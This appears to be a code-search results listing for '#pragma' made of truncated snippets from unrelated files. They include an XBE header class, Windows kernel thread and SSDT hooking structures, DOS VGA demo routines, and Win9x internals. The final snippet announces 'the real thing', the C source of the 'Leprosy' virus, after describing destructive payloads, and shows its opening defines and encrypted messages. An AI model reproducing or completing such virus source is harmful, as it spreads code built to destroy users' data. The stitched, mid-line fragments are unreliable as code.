#pragma

... signed short sint16; typedef signed long sint32; // ****************************************************************** // * class : xbe // ****************************************************************** class xbe { public: #pragma pack(1) struct header { uint32 m_magic; // magic number [should be "XBEH"] uint08 m_digsig[256]; // digital signature uint32 m_base; // base address uint32 m_sizeof_headers; // size of headers uint32 m_sizeof_image; & ...

... / #define OffsetET_NextKTFlink 0x1b0 /* ETHREAD.KTHREAD.ThreadListEntry.Flink */ #define OffsetET_NextETFlink 0x22c /* ETHREAD.ThreadListEntry.Flink */ #define OffsetET_ServiceTable 0xe0 /* ETHREAD.KTHREAD.ServiceTable */ #pragma pack(1) typedef struct _ServiceDescriptorEntry { ULONG *ServiceTableBase; ULONG *ServiceCounterTableBase; ULONG NumberOfServices; UCHAR *ParamTableBase; } ServiceDescriptorEntry; #pragma pack() typedef struct _SSDT_DescriptorTables { ServiceDescript ...

... ,0}, {-20,-40, 30, 0,0}, {-20,-40,-30, 0,0} }; /* Videomode and Putpixel functions for graphics display (Yes, the putpixel is not optimized, but that's not the point of this example program :-) */ void videomode(unsigned short int mode); #pragma aux videomode = \ "int 10h" \ parm [ax] \ modify [ax]; void putpixel(unsigned int x, unsigned int y, char color); #pragma aux putpixel = \ "shl eax, 6" \ "mov ebx, eax" \ "shl eax, 2" \ "add eax, ebx" \ "add eax, ecx" \ "add eax, 0a0000h" \ "mov edi ...

... ;Immortals Date : 20/02/1998 Graphical and Mathematical routines/variables */ // Includes #include <stdio.h> #include <iostream.h> #include <math.h> #include <dos.h> // Graphics void mode(int); #pragma aux mode=\ "int 0x10"\ parm [eax] modify exact [eax]; char *vga = (char *)0xA0000, texture[256*256]; void outp(unsigned short, char); #pragma aux outp=\ "out dx, al"\ parm [dx] [al] modify exact [dx al]; void init_txtr() { int i, j; #ifdef GENERATE_ ...

... s[256]; unsigned char p1,p2,p3,p4,t1,t2,t3,t4; int x,y,col,v; int pal[768]; unsigned char *videomem = 0xa0000; //------------------------------------ // Video Routines //------------------------------------ void setvga(void); #pragma aux setvga=\ "mov ax,13h"\ "int 10h"\ modify[eax]; void settxt(void); #pragma aux settxt=\ "mov ax,03h"\ "int 10h"\ modify[eax]; // Set unchained tweaked vga mode void Tweak(void); #pragma aux Tweak=\ "mov dx,3c4h"\ "mov ax,604h"\ "out dx,ax ...

... e fDelaySingleStep 0x00000010 #define fOpenExeAsImmovableFile 0x00000020 #define fCreateSuspended 0x00000040 #define fStackOverflow 0x00000080 #define fNestedCleanAPCs 0x00000100 #define fWasOemNowAnsi 0x00000200 #define fOKToSetThreadOem 0x00000400 #pragma pack(1) //MODREF and IMTE structures typedef struct _MODREF { struct _MODREF *pNextModRef; // 00h DWORD un1; // 04h DWORD un2; // 08h DWORD un3; // 0Ch WORD mteIndex; // 10h WORD un4; // 12h DW ...

... e actual destruction, deleting files, destroying the FAT or boot sector, locking up the computer, formatting disks or hard drives, etc... Virus Source Code Now for the real thing, we will start with the C Language source code to the "Leprosy" Virus. #pragma inline #define CRLF "\x17\x14" /* CR/LF combo encrypted. */ #define NO_MATCH 0x12 /* No match in wildcard search. */ char fake_msg[] = CRLF "Z|yq|kw*~yy*lsq*~y*ps~*sx*wowy|\x83."; char *virus_msg[3] = { CRLF "\x13XOa]*PVK]R++**cy ...